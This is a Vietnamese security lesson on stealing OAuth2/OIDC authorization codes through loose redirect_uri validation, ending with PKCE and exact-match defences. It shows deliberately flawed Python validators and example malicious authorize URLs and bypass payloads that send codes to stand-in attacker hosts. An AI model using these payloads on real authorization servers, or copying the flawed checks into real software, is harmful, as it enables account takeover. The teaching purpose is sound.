Lỗ hổng OAuth2 và OIDC: Thao túng Redirect URI
Phân tích các lỗ hổng rò rỉ Authorization Code trong luồng OAuth2 và OIDC: bypass regex redirect_uri, xâu chuỗi Open Redirect và giải pháp PKCE.
TL;DR: Luồng cấp quyền bằng mã ủy quyền (Authorization Code Grant) là xương sống của giao thức OAuth 2.0 và OpenID Connect (OIDC). Trong quy trình này, tham số redirect_uri đóng vai trò tối quan trọng: chỉ định nơi máy chủ xác thực sẽ chuyển hướng trình duyệt của người dùng kèm theo Authorization Code sau khi đăng nhập thành công. Nếu Authorization Server sử dụng các quy tắc kiểm tra lỏng lẻo như so khớp tiền tố, regex không neo hoặc cho phép path traversal, kẻ tấn công có thể chuyển hướng mã ủy quyền về máy chủ của mình để chiếm đoạt tài khoản mà không cần mật khẩu.
1. Scenario — Tính năng đăng nhập Google bị cướp mã phiên
Một ứng dụng thương mại điện tử triển khai tính năng "Đăng nhập bằng Google / Facebook" thông qua luồng OAuth 2.0. Khi người dùng bấm nút đăng nhập, trình duyệt gửi request tới máy chủ xác thực:
GET /oauth/v2/authorize?client_id=client_123&response_type=code&scope=openid%20profile%20email&redirect_uri=https://shop.example.com/oauth/callback HTTP/1.1
Host: auth.example.com
Phía máy chủ xác thực auth.example.com kiểm tra tham số redirect_uri bằng một biểu thức chính quy (Regex) viết ẩu:
# Flawed redirect validation regex
import re
ALLOWED_REGEX = r"^https://shop\.example\.com"
def is_valid_redirect(uri):
# Bug: Missing end-of-string anchor ($) and path restriction
return bool(re.match(ALLOWED_REGEX, uri))
Kẻ tấn công nhận ra biểu thức regex thiếu ký tự neo kết thúc $. Kẻ tấn công tạo một đường link độc hại gửi cho nạn nhân:
https://auth.example.com/oauth/v2/authorize?client_id=client_123&response_type=code&redirect_uri=https://shop.example.com.attacker.com/steal
Khi nạn nhân bấm vào link và đồng ý đăng nhập, Authorization Server xác nhận địa chỉ bắt đầu bằng https://shop.example.com và chuyển hướng trình duyệt tới domain của kẻ tấn công:
HTTP/1.1 302 Found
Location: https://shop.example.com.attacker.com/steal?code=AUTH_CODE_SECRET_XYZ
Máy chủ của kẻ tấn công ngay lập tức bắt giữ AUTH_CODE_SECRET_XYZ từ query parameter và gửi tiếp tới endpoint /oauth/token để nhận Access Token của nạn nhân, hoàn tất cuộc tấn công chiếm đoạt tài khoản (Account Takeover).
2. Analogy — Chuyển phát bưu kiện và địa chỉ ghi trên bìa
Hãy tưởng tượng một ngân hàng phát hành thẻ tín dụng mới cho bạn:
- Quy trình chuẩn hóa: Ngân hàng chỉ gửi thẻ tới đúng địa chỉ nhà riêng đã đăng ký trong hồ sơ gốc: Số 12, Phố Huế, Hà Nội. Bất kỳ yêu cầu chuyển hướng bưu kiện nào sai khác một chữ đều bị bộ phận an ninh từ chối.
- Quy trình lỏng lẻo: Nhân viên bưu điện chỉ nhìn lướt qua xem bìa thư có chữ "Số 12, Phố Huế" hay không. Kẻ gian gửi một yêu cầu chuyển phát ghi địa chỉ: "Số 12, Phố Huế... rẽ sang nhà trọ số 99 ngõ bên cạnh". Người bưu tá mang thẳng chiếc thẻ tới nhà trọ của kẻ gian.
Trong OAuth2, redirect_uri chính là địa chỉ nhận bưu kiện chứa mã ủy quyền:
| Thực tế đời thường | Cơ chế trong OAuth 2.0 |
|---|---|
| Chiếc thẻ tín dụng mới | Authorization Code nhạy cảm |
| Địa chỉ nhà riêng đã đăng ký | Whitelist redirect URI được cấu hình trước |
| Mánh khóe ghi thêm ngõ ngách | Bypass regex, path traversal hoặc subdomain injection |
| Bưu tá giao nhầm cho kẻ gian | Auth Server chuyển hướng trình duyệt gửi Code về server hacker |
3. Vì sao cơ chế chuyển hướng OAuth2 lại dễ bị thao túng?

Theo thiết kế của OAuth 2.0 (RFC 6749), việc chuyển giao Authorization Code buộc phải đi qua trình duyệt của người dùng (Front-channel) thông qua phản hồi chuyển hướng HTTP 302:
HTTP/1.1 302 Found
Location: <redirect_uri>?code=<authorization_code>&state=<state_token>
Do dữ liệu di chuyển qua môi trường client-side, bất kỳ sự sai lệch nào trong việc xác định đích đến của redirect_uri đều khiến thông tin mật bị lộ ra ngoài.
Trong bài học trước, bạn đã tìm hiểu về các cấu hình sai trong ranh giới tài nguyên:
Ôn lại các lỗi cấu hình sai biểu thức chính quy (Regex) và ranh giới Origin trong bảo mật web.
3.1. Các kỹ thuật Bypass bộ lọc Redirect URI
Kẻ tấn công khai thác sự lỏng lẻo trong logic so khớp chuỗi của Authorization Server bằng nhiều kỹ thuật:
- Thiếu ký tự neo kết thúc (Unanchored Regex):
- Regex kiểm tra:
^https://example\.com/callback - Payload bypass:
https://example.com/callback.attacker.comhoặchttps://example.com/[email protected]
- Regex kiểm tra:
- Kỹ thuật duyệt thư mục (Path Traversal):
- Whitelist cho phép:
https://example.com/oauth/callback - Payload bypass:
https://example.com/oauth/callback/../../open_redirect?url=https://attacker.com - Máy chủ giải mã đường dẫn chuẩn hóa (canonical path) và chuyển hướng tới endpoint
open_redirect.
- Whitelist cho phép:
- Khai thác lỗ hổng Open Redirect trên Client Domain:
- Nếu client domain có một endpoint chuyển hướng tự do (ví dụ:
/login?returnUrl=...), kẻ tấn công cấu hình:redirect_uri=https://shop.example.com/oauth/callback?next=https://attacker.com - Auth server kiểm tra thấy
redirect_urihoàn toàn thuộc domainshop.example.comnên đồng ý cấp code. Khi trình duyệt chuyển hướng vềshop.example.com, trang callback lập tức chuyển hướng tiếp sangattacker.com. Mãcodesẽ bị rò rỉ qua URL hoặc qua trườngRefererheader.
- Nếu client domain có một endpoint chuyển hướng tự do (ví dụ:
# OAuth authorization server handler
def authorize_client(client_id, redirect_uri):
registered_uri = db.get_client_redirect(client_id)
# Developer uses substring check
if registered_uri in redirect_uri:
return issue_auth_code(client_id, redirect_uri)
return abort(400, "Invalid redirect URI")Thử ngẫmKhi Authorization Code bị đánh cắp, nếu client có sử dụng client_secret ở backend để đổi token, kẻ tấn công làm thế nào để đổi được Access Token?
Trong các ứng dụng Single Page App (SPA) hoặc ứng dụng di động (Mobile App), client_secret không thể giữ bí mật và thường bị bỏ qua (Public Client), kẻ tấn công có thể tự gọi endpoint /oauth/token để đổi code trực tiếp.
4. Bảo vệ toàn diện bằng PKCE (RFC 7636)
Để giải quyết triệt để nguy cơ đánh cắp Authorization Code, chuẩn PKCE (Proof Key for Code Exchange) được phát triển:
- Client tạo Code Verifier & Code Challenge:
- Client sinh một chuỗi ngẫu nhiên bí mật dài gọi là
code_verifier. - Client tính giá trị băm SHA-256 của chuỗi này:
code_challenge = BASE64URL(SHA256(code_verifier)).
- Client sinh một chuỗi ngẫu nhiên bí mật dài gọi là
- Gửi Challenge ở bước Authorize:
- Client gửi
code_challengecùng request ban đầu lên Auth Server.
- Client gửi
- Gửi Verifier ở bước Token:
- Khi nhận được Authorization Code, client gửi kèm chuỗi gốc
code_verifierlên endpoint/oauth/token. - Máy chủ băm lại
code_verifiervà đối chiếu vớicode_challengeban đầu. Nếu khớp mới phát hành Access Token.
- Khi nhận được Authorization Code, client gửi kèm chuỗi gốc
Dù kẻ tấn công có cướp được Authorization Code qua lỗi Redirect URI, kẻ tấn công cũng không thể đổi lấy token vì không nắm giữ chuỗi bí mật code_verifier nằm trong bộ nhớ của client gốc.
5. Pitfalls & Giải pháp khắc phục triệt để
❌ Bẫy thường gặp: Cho phép ký tự đại diện (Wildcard matching)
Nhiều nhà cung cấp OAuth cho phép cấu hình wildcard trong URL chuyển hướng để thuận tiện cho việc dev nhiều môi trường:
https://*.example.com/callback
Kẻ tấn công chỉ cần tìm ra một subdomain bị chiếm quyền điều khiển (Subdomain Takeover) hoặc một lỗi XSS/Open Redirect trên bất kỳ subdomain nào của công ty là có thể hứng trọn mã ủy quyền của toàn bộ người dùng.
✅ Giải pháp chuẩn mực: Exact String Matching và PKCE bắt buộc
Quy chuẩn triển khai OAuth 2.0 an toàn:
- So khớp chính xác từng ký tự (Exact match): Khớp từng byte của
redirect_urivới danh sách đăng ký tĩnh, cấm hoàn toàn regex, wildcard hoặc path prefix matching. - Bắt buộc triển khai PKCE: Kích hoạt PKCE cho 100% các client, kể cả Confidential Clients lẫn Public Clients.
- Thời hạn Authorization Code ngắn: Mã ủy quyền chỉ có hiệu lực một lần duy nhất (One-time use) và hết hạn trong vòng 30 đến 60 giây.
6. Đào sâu
Tài liệu tham khảo chuyên sâu về bảo mật OAuth/OIDC:
- RFC 6749 — The OAuth 2.0 Authorization Framework: Đặc tả kỹ thuật nền tảng của toàn bộ giao thức OAuth 2.0.
- RFC 7636 — Proof Key for Code Exchange by OAuth Public Clients (PKCE): Cơ chế chống đánh cắp mã ủy quyền.
- OAuth 2.0 Security Best Current Practice: Khuyến nghị bảo mật cập nhật nhất về việc cấm Implicit Grant và bắt buộc Exact Matching.
7. Tóm tắt
redirect_urilà tham số xác định địa chỉ trình duyệt sẽ chuyển hướng sau khi hoàn tất xác thực OAuth 2.0.- Lỗi kiểm tra chuỗi chuyển hướng lỏng lẻo (thiếu neo regex, path traversal, wildcard) cho phép kẻ tấn công điều hướng Authorization Code về máy chủ độc hại.
- Kẻ tấn công có thể xâu chuỗi lỗi Open Redirect trên domain hợp lệ để vượt qua các bộ lọc whitelist nông.
- Phòng thủ tuyệt đối bằng cách đối chiếu chính xác từng ký tự (Exact Match) và bắt buộc triển khai cơ chế PKCE.
8. Tự kiểm tra
- Q1Tại sao luồng OAuth 2.0 Implicit Grant (trả về Access Token trực tiếp trong URL fragment #access_token) bị khai tử trong các tiêu chuẩn bảo mật hiện đại?
- Q2Cơ chế PKCE bảo vệ người dùng trước việc rò rỉ Authorization Code như thế nào?
- Q3Nếu Authorization Server chỉ cho phép redirect_uri là https://client.example.com/callback, kẻ tấn công có thể lợi dụng lỗi XSS trên trang này để đánh cắp Authorization Code như thế nào?
- Q4Tại sao Authorization Code phải được thiết kế để tự hủy ngay sau lần sử dụng đầu tiên (One-time use)?
- Q5Trong trường hợp Auth Server phát hiện một Authorization Code bị dùng lại lần thứ hai, Auth Server nên thực hiện hành động gì theo khuyến cáo của RFC 6749?
Bài tiếp theo: Khai thác lỗi CSRF và tham số State trong OAuth2
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Khai thác JWT qua Header Injection và thao túng khóa
Bài tiếpKhai thác lỗi CSRF và tham số State trong OAuth2
Thảo luận & góp ý
Hỏi đáp về bài này